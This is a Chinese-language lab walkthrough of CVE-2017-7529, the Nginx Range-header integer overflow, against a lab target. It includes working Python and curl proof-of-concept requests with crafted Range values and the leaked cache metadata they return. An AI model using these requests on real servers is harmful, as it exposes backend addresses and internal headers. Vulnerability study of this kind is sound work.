漏洞信息
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2017-7529 |
| 影响版本 | Nginx 0.5.6 ~ 1.13.2 |
| 靶场版本 | Nginx 1.13.2 |
| 漏洞类型 | Range头整数溢出 → 信息泄露 |
| 靶机地址 | http://192.168.229.60:8080 |
漏洞原理
Nginx作为反向代理时,通常会缓存后端返回的静态文件。缓存文件的结构如下:
[文件头元数据] [HTTP响应头] [HTTP响应体]
↑ 正常只返回这里
Nginx的range filter模块在处理HTTP请求头中的Range字段时存在整数溢出漏洞。当构造包含超大负数 的Range头时,Nginx的偏移计算产生整数溢出,导致start位置变成负数,从而越界读取到响应体之前的缓存元数据和HTTP响应头。
正常计算:start = 文件长度 - end → 正值
漏洞计算:start = 文件长度 - (-9223372036854773979)
↓
整数溢出 → 负数偏移
↓
读取到文件头 + 响应头
-
Nginx 的
start和end是int64_t类型 -
构造
Range: bytes=-X, -超大负数→ 溢出后start变成负数 -
Nginx 错误地将可读取范围扩展到了缓存文件的头部区域
-
敏感信息(后端地址、缓存KEY、内部头)被泄露
攻击步骤
Step 1:访问目标使其缓存
先用正常请求访问一次,让 Nginx 把页面缓存下来:
curl -s http://192.168.229.60:8080/ > /dev/null
Step 2:运行漏洞POC
python3 poc.py http://192.168.229.60:8080/
Step 3:解析泄露数据
成功读取到缓存文件头部的敏感信息:
Content-Range: bytes -9223372036854773979-611/612
-- 泄露内容 --
KEY: http://127.0.0.1:8081/
↑ 后端真实地址泄露
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Sun, 14 Jun 2026 14:45:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
ETag: "59526062-264"
Accept-Ranges: bytes
注意: -9223372036854773979 这个巨负的数就是整数溢出的结果,Nginx 把它解析成了负数偏移,导致越界向前读取缓存文件头部。
Python版完整利用脚本
import requests
# CVE-2017-7529 POC for Nginx Integer Overflow
# Usage: python3 poc.py http://target:8080/
target = "http://192.168.229.60:8080/"
# 第一次请求:让Nginx缓存
requests.get(target).content
# 第二次请求:利用Range头触发整数溢出
headers = {
"Range": "bytes=-605, -9223372036854774591"
}
r = requests.get(target, headers=headers)
# 解析multipart响应
for part in r.text.split("--"):
if "Content-Range:" in part and "-922337203685477" in part:
print("=== 泄露的缓存头部信息 ===")
# 提取Content-Range后面的内容
lines = part.strip().split("\n")
for line in lines:
if "KEY:" in line or "Server:" in line or "Date:" in line:
print(line)
# 也打印完整内容
print("\n=== 完整泄露数据 ===")
print(part.strip())
POC源码解析(来自vulhub)
import requests
url = "http://192.168.229.60:8080/"
# 关键:第一个Range值控制正常读取范围
# 第二个Range值是超大的负数,触发整数溢出
# 65536是经过计算的偏移值,可以微调
# -9223372036854774591 ≈ -(2^63 - 2^12)
headers = {
"User-Agent": "Mozilla/5.0",
"Range": "bytes=-65536, -9223372036854774591"
}
r = requests.get(url, headers=headers)
print(r.text)
关键要点总结
-
✅ 超大负数Range值是漏洞核心,用于触发整数溢出
-
✅ 第一次访问让Nginx缓存页面是前提条件
-
✅ 成功读到
KEY:字段 → 泄露后端真实地址(127.0.0.1:8081) -
✅ 成功读到 HTTP响应头 → 泄露服务器版本、时间戳等信息
-
✅ 读取的乱码部分是Nginx缓存文件的内部文件头元数据
-
⚠️ 偏移值可以调整(如poc.py中的605),不同文件可能需要微调才能命中缓存头部位置